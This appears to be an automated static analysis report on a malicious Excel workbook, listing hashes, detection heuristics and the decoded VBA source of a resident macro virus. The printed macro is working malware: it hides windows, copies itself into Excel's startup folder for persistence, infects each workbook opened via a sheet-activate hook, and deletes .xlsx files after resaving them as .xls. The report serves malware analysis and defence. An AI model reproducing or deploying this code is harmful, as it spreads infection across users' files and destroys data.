Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a630d893cec86c1c…

MALICIOUS

Office (OLE) / .XLS

164.5 KB Created: 2022-08-01 10:59:00 Authoring application: Microsoft Excel First seen: 2026-06-25
MD5: 52ff9de8920a516a045b5b867b400fa6 SHA-1: 8ea9b729e7cd2e97a1a70c080de99d5dda2a4bad SHA-256: a630d893cec86c1c3076cc5e607d8eef0364fe7b51dc1c2b6c6083cb869dfa51
178 Risk Score

Heuristics 7

  • ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/2006/metadata/contentType In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/properties/metaAttributesIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchemaIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/documentManagement/typesIn document text (OLE body)
    • http://schemas.microsoft.com/office/infopath/2007/PartnerControlsIn document text (OLE body)
    • http://schemas.openxmlformats.org/package/2006/metadata/core-propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchema-instanceIn document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://purl.org/dc/terms/In document text (OLE body)
    • http://schemas.microsoft.com/internal/obdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsdIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.microsoft.com/sharepoint/v3/contenttype/formsIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1510 bytes
SHA-256: d49b3eed57ea333340314eacd5bf3454f6a2ba3085f3bfa723034dd1a2d97cfb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

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